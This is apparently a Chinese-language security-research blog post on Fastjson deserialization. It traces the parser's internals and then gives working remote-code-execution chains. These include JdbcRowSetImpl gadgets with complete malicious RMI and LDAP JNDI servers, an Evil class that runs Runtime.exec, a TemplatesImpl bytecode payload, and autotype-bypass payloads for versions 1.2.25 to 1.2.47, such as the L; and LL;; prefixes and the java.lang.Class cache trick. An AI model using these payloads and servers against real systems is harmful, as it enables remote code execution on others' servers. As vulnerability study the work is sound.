Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
FastJson 简单使用
序列化
JSON.toJSONString()序列化对象
package com.yq1ng.demo;
/**
* UserDao
*
* @author yq1ng
* @date 2021/12/22 21:06
* @since 1.0.0
*/
public class User {
private String name;
public User(){
System.out.println("init...");
}
public String getName() {
System.out.println("getName...");
return name;
}
public void setName(String name) {
System.out.println("setName...");
this.name = name;
}
@Override
public String toString() {
System.out.println("toString...");
return "User{" +
"name='" + name + '\'' +
'}';
}
}
package com.yq1ng.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
/**
* TestFastJson
*
* @author yq1ng
* @date 2021/12/22 21:18
* @since 1.0.0
*/
public class TestFastJson {
public static void main(String[] args) {
User user = new User();
user.setName("yq1ng");
System.out.println("============================No WriteClassName=============================");
System.out.println(JSON.toJSONString(user));
System.out.println("=============================WriteClassName===============================");
System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName));
}
}
反序列化
JSON.parse():反序列化字符串,返回 fastjson.JSONObject
JSON.parseObject():反序列化字符串,返回 Object
package com.yq1ng.demo;
import com.alibaba.fastjson.JSON;
/**
* TestFastJson
*
* @author yq1ng
* @date 2021/12/22 21:18
* @since 1.0.0
*/
public class TestFastJson {
public static void main(String[] args) {
String ser = "{\"name\":\"yq1ng\"}";
DeSer(ser);
System.out.println("===================================================================================================");
String ser1 = "{\"@type\":\"com.yq1ng.demo.User\",\"name\":\"yq1ng\"}";
DeSer(ser1);
}
public static void DeSer(String ser){
System.out.println(JSON.parse(ser).getClass().getName());
System.out.println("====================================================");
System.out.println(JSON.parseObject(ser).getClass().getName());
System.out.println("====================================================");
System.out.println(JSON.parseObject(ser, User.class).getClass().getName());
}
}
可以看到,在不加@type
的时候不能正确的反序列化,因为不知道是那个类的,后面JSON.parseObject(ser, User.class)
加上类算是正常反序列化了;而加上@type
的字符串就算不加User.class
也可以正常反序列化。也能看出这里反序列化均调用了 setter,那么在 setter 做点手脚会不会有惊喜?不演示了,肯定可以的
setter 为 private
当设置 User 的 setter 的修饰为 private 的时候(一般不会这么设置,或者说没有 private 属性对应的 setter),就不能正确反序列化了,会访问不到数据
package com.yq1ng.demo;
/**
* UserDao
*
* @author yq1ng
* @date 2021/12/22 21:06
* @since 1.0.0
*/
public class User {
private String name;
private String age;
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
public User(){
System.out.println("init...");
}
public String getName() {
System.out.println("getName...");
return name;
}
private void setName(String name) {
System.out.println("setName...");
this.name = name;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
这样的话是不能利用的,但是好在 fastjson1.2.22 版本引入了Feature.SupportNonPublicField
,反序列化的时候添加这个属性就可以访问到 private 的方法。猜测是截取原来的字符串赋值的
反序列化流程
package com.yq1ng.demo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
/**
* TestFastJson
*
* @author yq1ng
* @date 2021/12/22 21:18
* @since 1.0.0
*/
public class TestFastJson {
public static void main(String[] args) {
String ser = "{\"@type\":\"com.yq1ng.demo.User\",\"age\":\"18\",\"name\":\"yq1ng\"}";
// User user = JSON.parseObject(ser, User.class, Feature.SupportNonPublicField);
User user = JSON.parseObject(ser, User.class);
System.out.println(user.getName()+"..."+user.getAge());
}
}
在JSON.parseObject()
打断
跟进parse()
不用管那个 989 的值,没有设置Feature.SupportNonPublicField
的话默认就为这个。继续跟,看看怎么解析
跟DefaultJSONParser()
先跟进com/alibaba/fastjson/parser/JSONScanner.java#JSONScanner()
看看
注意构造函数这里 text
记录了反序列化的字符串,后面有用,然后进行重载DefaultJSONParser()
这里判断解析的是{
还是[
,然后为 Token 赋值,接着往下来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()
由于上面的赋值,会来到LBRACE分支,解析 object。可以看到如果是LBRACKET的话会解析为数组。这里先创建一个空的JSONObject
,然后解析,跟进
这里会通过 scanSymbol 获取到@type
指定的类com/alibaba/fastjson/parser/JSONLexerBase.java#scanSymbol()
com/alibaba/fastjson/parser/JSONScanner.java#next()
通过读取上面存储的反序列化字符串获取需要加载的类的全限定名,接着进行loadClass()
com/alibaba/fastjson/util/TypeUtils.java#loadClass()
首先从mappings
中寻找反序列化的类,看一下mappings
是什么
应该是 Java 基础数据类型类,不满足条件会在下面加载所需类
加载后进行反序列化com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
跟进
这里重载了getDeserializer()
跟进createJavaBeanDeserializer()
,这里 clazz == type == @type
的类,createJavaBeanDeserializer()
就是创建一个反序列化器
跟进JavaBeanInfo.java#build()
,这里解释了为什么可以自动调用 setter 和 getter
首先反射获取了 type 指定类的一些基本信息:构造函数、字段、方法。接着往下
首先是一个大判断,如果构造函数为空、类不为接口或方法不为抽象方法那就会进入 if,这里显然不满足,跳过一段,来到这里
第四个是参数个数,继续往下
这里根据 c3 的不同情况进行截断,只要 setter 后半部分,比如这里就是setName
截取就是name
。接着往下
这里去获取该属性,如果没获取到,那就在属性前加上is
,例如name
获取失败就会变成isName
。然后将这些信息添加到fieldList
中
添加完 setter 后改 getter 了
和 setter 类似吧
然后也是添加到fieldList
里面,最后返回JavaBeanInfo
。
这里记录了属性的 setter 是 public 的信息,例如上图只存储了age
而 name 却没有
接着返回到com/alibaba/fastjson/parser/ParserConfig.java#createJavaBeanDeserializer()
跟进之前先在com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#JavaBeanDeserializer()
接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject(ParserConfig config, JavaBeanInfo beanInfo)
这里打上断点,期间有很多不需要看的
将beanInfo
中关于属性的信息存起来,后面会使用,接着返回到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
跟进后是使用 asm 技术调用指定类了,首先进行初始化类
asm 就是 javassti 的“底层版”,性能更好,但是没有 javassti 容易使用。《Java Javassist/ASM 框架比较》
这里 idea 并不能跟进,中间会对 public 的 setter 进行调用,设置值(忘了截图)然后一直往下
这里会对 private 的属性进行解析,这里是 name,跟进
这里会对 key 进行一次智能匹配(模糊匹配),跟进
这里会对下划线和短横线进行删除,例如:stu_name --> stuname
。然后返回,注意我们这次 debug 是没开启SupportNonPublicField
的
跟进parser.lexer.isEnabled(mask)
与运算看是否为 0,而传入的feature=131072
很有意思,这个是没开启SupportNonPublicField
的默认值,其二进制是100000000000000000
那么显然返回值是 false 了,所以我们加上SupportNonPublicField
继续 debug
进入 if
这里创建了一个支持并发的 hashmap,然后获取@type
的所有属性存到fields
里面,fields
里面存了其对象、type 等等(反射基础知识
接着将属性修饰中不带final
或static
的存起来,最后赋值给extraFieldDeserializers
,这里getFieldDeserializer()
的作用就是除去已经 set 的属性(上面初始化JavaBeanDeserializer
(反序列化器)的时候提到了存储存在 public setter 的属性
接着将属性与其对应的 fieldInfo 变为键值对存进extraFieldDeserializers
,继续往下
跟进parseField()
跟进getFieldValueDeserilizer()
这里 field 没有注解,所以进入 else
这次是返回了一个StringCodec
。而fieldValueDeserilizer
可以理解为反序列化的一种方式,StringCodec
就是纯字符编码。接着看com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
判断 field 类型是否为泛型,这里不满足,继续
关于 Type 的泛型可以看:https://www.cnblogs.com/baiqiantao/p/7460580.html#parameterizedtype-%E5%8F%82%E6%95%B0%E5%8C%96%E7%B1%BB%E5%9E%8B
这里先判断fieldValueDeserilizer
是否为反序列化器,不满足则判断是否存在注解,也不满足,所以会到最后一个 else 分支,跟进fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name)
。这里去截取,位置在com/alibaba/fastjson/serializer/StringCodec.java#deserialze()
跟进lexer.stringVal()
然后返回到com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
这里赋值,跟进com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue()
反射赋值。解析结束
FastJson 漏洞
从上面可以知道反序列化会自动调用 setter 和 getter,如果这两个方法里面存在恶意的代码那么也会被执行,这里先不进行介绍的,先来看 JdbcRowSetImpl 利用链
JdbcRowSetImpl 利用链
jdk 版本:≤ 6u141、7u131、8u121
使用高版本需加入 jvm 参数:-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
,因为 8u121 版本后默认关闭了com.sun.jndi.rmi.object.trustURLCodebase
漏洞利用(JNDI)
poc:
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
首先创建客户端
package com.yq1ng.vul;
import com.alibaba.fastjson.JSON;
/**
* FastJsonTest
*
* @author yq1ng
* @date 2021/12/29 19:45
* @since 1.0.0
*/
public class FastJsonTest {
public static void main(String[] args) {
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
JSON.parse(ser);
}
}
然后是 jndi 服务端
package com.yq1ng.vul;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* RMIServer
*
* @author yq1ng
* @date 2021/12/29 19:46
* @since 1.0.0
*/
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8080/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Evil", referenceWrapper);
System.out.println("Server is running...");
}
}
接着是恶意类,注意这个恶意类不能带有包名,也就是package
import java.io.IOException;
/**
* Evil
*
* @author yq1ng
* @date 2021/12/29 19:46
* @since 1.0.0
*/
public class Evil {
public Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后编译恶意类,并起一个 python 简单服务,注意 python3 的启动方式是python -m http.server 8080
不再是python -m SimpleHTTPServer 8080
然后启动 jndi 服务,启动客户端即可
漏洞分析
poc 是 String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/Evil\", \"autoCommit\":true}";
,从上面的反序列化流程可以知道会去调用指定类,然后调用 setter,这里会调用setDataSourceName()
和setAutoCommit()
。
在deserialze
后继续调试,断点打到了rt.jar!/com/sun/rowset/JdbcRowSetImpl.class#setDataSourceName()
这里默认的dataSource
是空的,所以会设置为我们传入的恶意 rmi。接着来到setAutoCommit()
这里conn
为空,所以进行获取,这里形参也解释了为什么 payload 的autoCommit
为true
。跟进this.connect()
首先初始化上下文,然后开始找传入的 rmi 类
继续跟
首先看getRootURLContext()
,全局查找的话会有四个类去调用
这里会根据不同协议去调用不同的getRootURLContext()
,这里跟进rt.jar!/com/sun/jndi/url/rmi/rmiURLContext.class#getRootURLContext()
这里对传入的 rmi 格式进行检测,代码很长截取部分,一言不合就会抛异常。接着返回
继续跟
首先是一个判空,然后去注册中心找 Evil,接着在 return 跟进rt.jar!/com/sun/jndi/rmi/registry/RegistryContext.classdecodeObject()
这里将构造的Reference
赋值给var3
,然后跟进NamingManager.java#getObjectInstance()
到这里跟进getObjectFactoryFromReference()
先从本地尝试加载 Evil,如果不存在继续往下看
本地不存在的话就会尝试从 codebase 中加载 class
什么是 codebase?以下内容摘自:Java-RMI
codebase 就是远程装载类的路径。当对象发送者序列化对象时,会在序列化流中附加上 codebase 的信息。 这个信息告诉接收方到什么地方寻找该对象的执行代码。
你要弄清楚哪个设置 codebase,而哪个使用 codebase。任何程序假如发送一个对方可能没有的新类对象时就要设置 codebase(例如 jdk 的类对象,就不用设置 codebase)。
codebase 实际上是一个 url 表,在该 url 下有接受方需要下载的类文件。假如你不设置 codebase,那么你就不能把一个对象传递给本地没有该对象类文件的程序。
跟进helper.loadClass()
这里通过URLClassLoader
进行加载类。最后进行实例化,导致 rce
漏洞利用(LDAP)
poc:
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>5.1.4</version>
<scope>test</scope>
</dependency>
恶意类不变,也是开启一个 http
客户端改改 poc 就行
package com.yq1ng.vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.yq1ng.demo.User;
/**
* FastJsonTest
*
* @author yq1ng
* @date 2021/12/29 19:45
* @since 1.0.0
*/
public class FastJsonTest {
public static void main(String[] args) {
String ser = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
JSON.parse(ser, Feature.SupportNonPublicField);
}
}
server 如下
package com.yq1ng.vul;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
/**
* LdapServer
*
* @author yq1ng
* @date 2022/1/4 21:29
* @since 1.0.0
*/
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8888/#Evil";
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
TemplatesImpl 利用链
漏洞利用
客户端反序列化需要带上
Feature.SupportNonPublicField
,这也就导致这个链子比较鸡肋
poc:String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"" + badByteCodes + "\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
最简 poc:`String ser = “{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",” +
"\"_bytecodes\":[\"" + badByteCodes + "\"]," +
"\"_name\":\"a.b\",\"_outputProperties\":{ }}";`
先创建一个恶意类,然后编译为 class 待用
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
/**
* TLI
*
* @author yq1ng
* @date 2021/12/30 22:39
* @since 1.0.0
*/
public class TLI extends AbstractTranslet {
public TLI(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
写一个客户端
package com.yq1ng.vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
/**
* FastJsonTest
*
* @author yq1ng
* @date 2021/12/29 19:45
* @since 1.0.0
*/
public class FastJsonTest {
public static void main(String[] args) {
String badByteCodes = encryptToBase64("D:\\Software\\IntelliJ IDEA 2021.2.2\\workpath\\fastjson\\src\\test\\java\\TLI.class");
String ser = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"" + badByteCodes + "\"]," +
"\"_name\":\"a.b\",\"_outputProperties\":{ }}";
JSON.parse(ser, Feature.SupportNonPublicField);
}
public static String encryptToBase64(String filePath){
if (filePath == null){
return null;
}
try {
byte[] bytes = Files.readAllBytes(Paths.get(filePath));
return Base64.getEncoder().encodeToString(bytes);
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}
因为 TemplatesImpl 中的属性为private
所以需要加上Feature.SupportNonPublicField
漏洞分析
先看懂 cc2 会来得更快。这个加载就不多说 了,主要是 poc 的几个疑点
为什么需要加上_outputProperties
pco 中有_outputProperties
,那么反序列化就会调用其 getter 和 setter,从上面的流程也可以知道在解析属性的时候会删除下划线,所以这里就会调用getOutputProperties()
而在com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java#getOutputProperties()
中调用了newTransformer()
后面就可以加载字节码了
为什么_bytecodes
需要 base64
在 cc2 中可以知道_bytecodes
直接是字节码,不需要 base64,而这里却必须 base64 编码才行。这是因为 fastjson 内部的一个“约定”,序列化byte[]
会 base64 编码,反序列化String->byte[]
会 base64 解码,具体代码在com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField()
直接看下面这个
跟进去
为什么不需要_tfactory
cc2 中可以知道_tfactory
是不能为空的,而这里 poc 甚至不需要加上_tfactory
也可以成功 rce。流程里面提到会解析所有没去调用 setter 的属性com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#deserialze()
com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#parseField()
跟进
这个fieldValueDeserilizer
符合反序列化器(JavaBeanDeserializer
),所以进入第一个 if
这里会用 asm 去获取一个class com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
对象,所以 poc 中不需要增加_tfactory
字段也可以
各种 Bypass
1.2.25-1.2.41
类名前加上
L
,类名后加上;
即可绕过,前提是服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
poc:String ser = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
其余类似
先看一个 wiki:https://github.com/alibaba/fastjson/wiki/enable_autotype,在 1.2.25 之后的版本,以及所有的.sec01 后缀版本中,autotype 功能是受限的,也就是不能随意加载类了,除非服务端开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
或以其他方式开启 autotype。
maven 直接拉取 1.2.25 版本的,然后使用 idea 对比两个 jar 包(先在 idea 选中一个 jar 包,然后按 ctrl+d 选取另外一个 jar 即可)
可以看到以前直接加载类的变成先 checkAtuo 了,这个方法分两种情况,一个是没开启 autotype,一个是开启了 autotype。代码控制是boolean autoTypeSupport
未开启 autotype
直接看这段代码,先判断是否存在黑名单内,存在则抛异常;然后判断是否在白名单,存在则加载此类,然后 return。
如果不在白名单的话接着往下走
直接抛异常。
所以总结一下就是未开启 autotype 的话传入的类需要不在黑名单而又在白名单内
开启 autotype
开启的话过滤代码是先判是否在白名单然后判是否在黑名单
白名单默认为空,黑名单如下
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
看似过滤很多,但是checkAutoType()
最后加载类有猫腻
跟进
那么只需要在类前加上L
类后加上;
即可绕过所有黑名单
其他类似,不再展示。
1.2.42
删除了开头的
L
和结尾的;
,bypass 双写就可
poc:String ser = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Evil\", \"autoCommit\":true}";
41 的修复在这:https://github.com/alibaba/fastjson/commit/eebea031d4d6f0a079c3d26845d96ad50c3aaccd
可以看到对明文黑名单进行了 hash,这样我们就不知道过滤了什么类,好在前辈们已经铺好了路:https://github.com/LeadroyaL/fastjson-blacklist
其加密方式在src/main/java/com/alibaba/fastjson/util/TypeUtils.java#fnv1a_64()
除了黑名单的改动还有就是checkAutoType()
哪里
如果类开头为L
结尾为;
则将其截去,这很好的修复了 41 的绕过。那么 42 的 bypass 也很明显了,直接双写即可,即LL
和;;
。修复方法属实可爱
1.2.43 修复
import com.alibaba.fastjson.JSONException;
/**
* test
*
* @author yq1ng
* @date 2022/1/6 16:29
* @since 1.0.0
*/
public class test {
public static void main(String[] args) {
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
String className = "LLtest;";
// L开头,;结尾
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L) {
// LL开头直接抛异常
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L) {
throw new JSONException("autoType is not support. ");
}
// 9195c07b5af5345
System.out.println(className.substring(1, className.length() - 1));
}
}
}
修复也很直接,遇到 LL 直接抛异常。再往后的绕过就需要其他 jar 包的支持了
1.2.45
前提条件:需要有第三方组件 ibatis-core 3:0
poc:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/Exploit"}}
1.2.47 通杀 CheckAutoType 和黑名单
漏洞原理:通过 java.lang.Class,将 JdbcRowSetImpl 类加载到 Map 中缓存,从而绕过 AutoType 的检测
- 1.2.25-1.2.32 版本:未开启 AutoTypeSupport 时能成功利用,开启 AutoTypeSupport 不能利用
- 1.2.33-1.2.47 版本:无论是否开启 AutoTypeSupport,都能成功利用
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}
上面几个版本流程差不多,这里是以 1.2.47 版本,未开启 AutoTypeSupport 为例
在com/alibaba/fastjson/parser/ParserConfig.java#checkAutoType()
打上断
这里由于没开启AutoTypeSupport
所以不会判断白黑名单,继续往下
跟进
从 mappings 里面找的,看一下他是怎么被初始化的
跟进静态方法中的addBaseClassMappings()
private static void addBaseClassMappings(){
mappings.put("byte", byte.class);
mappings.put("short", short.class);
mappings.put("int", int.class);
mappings.put("long", long.class);
mappings.put("float", float.class);
mappings.put("double", double.class);
mappings.put("boolean", boolean.class);
mappings.put("char", char.class);
mappings.put("[byte", byte[].class);
mappings.put("[short", short[].class);
mappings.put("[int", int[].class);
mappings.put("[long", long[].class);
mappings.put("[float", float[].class);
mappings.put("[double", double[].class);
mappings.put("[boolean", boolean[].class);
mappings.put("[char", char[].class);
mappings.put("[B", byte[].class);
mappings.put("[S", short[].class);
mappings.put("[I", int[].class);
mappings.put("[J", long[].class);
mappings.put("[F", float[].class);
mappings.put("[D", double[].class);
mappings.put("[C", char[].class);
mappings.put("[Z", boolean[].class);
Class<?>[] classes = new Class[]{
Object.class,
java.lang.Cloneable.class,
loadClass("java.lang.AutoCloseable"),
java.lang.Exception.class,
java.lang.RuntimeException.class,
java.lang.IllegalAccessError.class,
java.lang.IllegalAccessException.class,
java.lang.IllegalArgumentException.class,
java.lang.IllegalMonitorStateException.class,
java.lang.IllegalStateException.class,
java.lang.IllegalThreadStateException.class,
java.lang.IndexOutOfBoundsException.class,
java.lang.InstantiationError.class,
java.lang.InstantiationException.class,
java.lang.InternalError.class,
java.lang.InterruptedException.class,
java.lang.LinkageError.class,
java.lang.NegativeArraySizeException.class,
java.lang.NoClassDefFoundError.class,
java.lang.NoSuchFieldError.class,
java.lang.NoSuchFieldException.class,
java.lang.NoSuchMethodError.class,
java.lang.NoSuchMethodException.class,
java.lang.NullPointerException.class,
java.lang.NumberFormatException.class,
java.lang.OutOfMemoryError.class,
java.lang.SecurityException.class,
java.lang.StackOverflowError.class,
java.lang.StringIndexOutOfBoundsException.class,
java.lang.TypeNotPresentException.class,
java.lang.VerifyError.class,
java.lang.StackTraceElement.class,
java.util.HashMap.class,
java.util.Hashtable.class,
java.util.TreeMap.class,
java.util.IdentityHashMap.class,
java.util.WeakHashMap.class,
java.util.LinkedHashMap.class,
java.util.HashSet.class,
java.util.LinkedHashSet.class,
java.util.TreeSet.class,
java.util.concurrent.TimeUnit.class,
java.util.concurrent.ConcurrentHashMap.class,
loadClass("java.util.concurrent.ConcurrentSkipListMap"),
loadClass("java.util.concurrent.ConcurrentSkipListSet"),
java.util.concurrent.atomic.AtomicInteger.class,
java.util.concurrent.atomic.AtomicLong.class,
java.util.Collections.EMPTY_MAP.getClass(),
java.util.BitSet.class,
java.util.Calendar.class,
java.util.Date.class,
java.util.Locale.class,
java.util.UUID.class,
java.sql.Time.class,
java.sql.Date.class,
java.sql.Timestamp.class,
java.text.SimpleDateFormat.class,
com.alibaba.fastjson.JSONObject.class,
};
for(Class clazz : classes){
if(clazz == null){
continue;
}
mappings.put(clazz.getName(), clazz);
}
String[] awt = new String[]{
"java.awt.Rectangle",
"java.awt.Point",
"java.awt.Font",
"java.awt.Color"};
for(String className : awt){
Class<?> clazz = loadClass(className);
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
String[] spring = new String[]{
"org.springframework.util.LinkedMultiValueMap",
"org.springframework.util.LinkedCaseInsensitiveMap",
"org.springframework.remoting.support.RemoteInvocation",
"org.springframework.remoting.support.RemoteInvocationResult",
"org.springframework.security.web.savedrequest.DefaultSavedRequest",
"org.springframework.security.web.savedrequest.SavedCookie",
"org.springframework.security.web.csrf.DefaultCsrfToken",
"org.springframework.security.web.authentication.WebAuthenticationDetails",
"org.springframework.security.core.context.SecurityContextImpl",
"org.springframework.security.authentication.UsernamePasswordAuthenticationToken",
"org.springframework.security.core.authority.SimpleGrantedAuthority",
"org.springframework.security.core.userdetails.User"
};
for(String className : spring){
Class<?> clazz = loadClass(className);
if(clazz == null){
break;
}
mappings.put(clazz.getName(), clazz);
}
}
将常用类放入 mappings,我们传入的java.lang.Class
不在这里,所以返回为空,往下findClass()
是可以找到的,所以返回
来到com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject()
跟进到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze()
这里会到com/alibaba/fastjson/parser/DefaultJSONParser.java#parse()
取得传入的恶意类:com.sun.rowset.JdbcRowSetImpl
return 后继续往下经过一系列 if 判断
跟进
这里会将恶意类 put 进 mappings,前提是 cache 为 true,而这个loadClass()
是重载来的,cache 默认为 true
然后后面去解析b
的时候由于 mappings 中存在恶意类了,所以直接加载,不写了
1.2.48 修复
cache 默认为 false 了,秒天秒地秒空气
1.2.68
不再赘述了,,直接看师傅们的文章吧
fastjson v1.2.68 RCE 利用链复现
Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
JDK8 任意文件写场景下的 Fastjson RCE
最后的最后
JAVA 反序列化—FastJson 组件这篇文章的评论可谓是脑洞大开,初也师傅的 payload 很有意思
稍微跟了下发现解析的时候并不是先去判断 json 格式是否成立,而是直接读取引号后面的内容,所以导致畸形 payload 也可以执行
参考
https://xz.aliyun.com/t/8979
http://wjlshare.com/archives/1512
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://xz.aliyun.com/t/10671
https://y4er.com/post/fastjson-learn/
https://xz.aliyun.com/t/7027